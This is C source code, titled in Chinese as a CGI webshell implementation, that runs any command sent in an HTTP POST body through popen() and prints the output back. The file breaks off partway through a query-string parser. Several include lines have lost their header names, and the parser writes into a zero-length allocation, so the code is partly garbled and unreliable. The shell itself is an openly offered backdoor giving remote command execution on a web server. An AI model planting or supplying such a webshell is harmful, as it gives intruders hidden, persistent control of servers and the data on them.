C语言实现cgi webshell
#include
#include
#include
#include
#include
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include
#include
#include
struct get_data {
char key[100];
char value[100];
};
void exec_cmd(void){
printf("Content-type:text/htmlnn");
FILE *command;
int size = atoi(getenv("CONTENT_LENGTH"));
if(size > 1500) {
printf("Error> Post Data is very big");
exit(0);
}
char *buffer = malloc(size+1);
fread(buffer,1,size,stdin);
command = popen(buffer,"r");
char caracter;
while((caracter = fgetc(command))){
if(caracter == EOF) break;
printf("%c",caracter);
}
pclose(command);
free(buffer);
exit(0);
}
int error(char *err){
perror(err);
exit(EXIT_FAILURE);
}
void parser_get(void){
printf("Content-type:text/htmlnn");
struct get_data *s;
char *GET = (char *)getenv("QUERY_STRING");
int i,number_of_get = 0,size_get = strlen(GET);
if(strlen(GET) > 100)
exit(0);
s = (struct get_data *)malloc(number_of_get*sizeof(struct get_data));
int element = 0;
int positionA = 0;
int positionB = 0;
int id = 0;
for(i=0;i<size_get;i++){
if(GET[i] == '='){
id = 1;
s[element].key[positionA] = '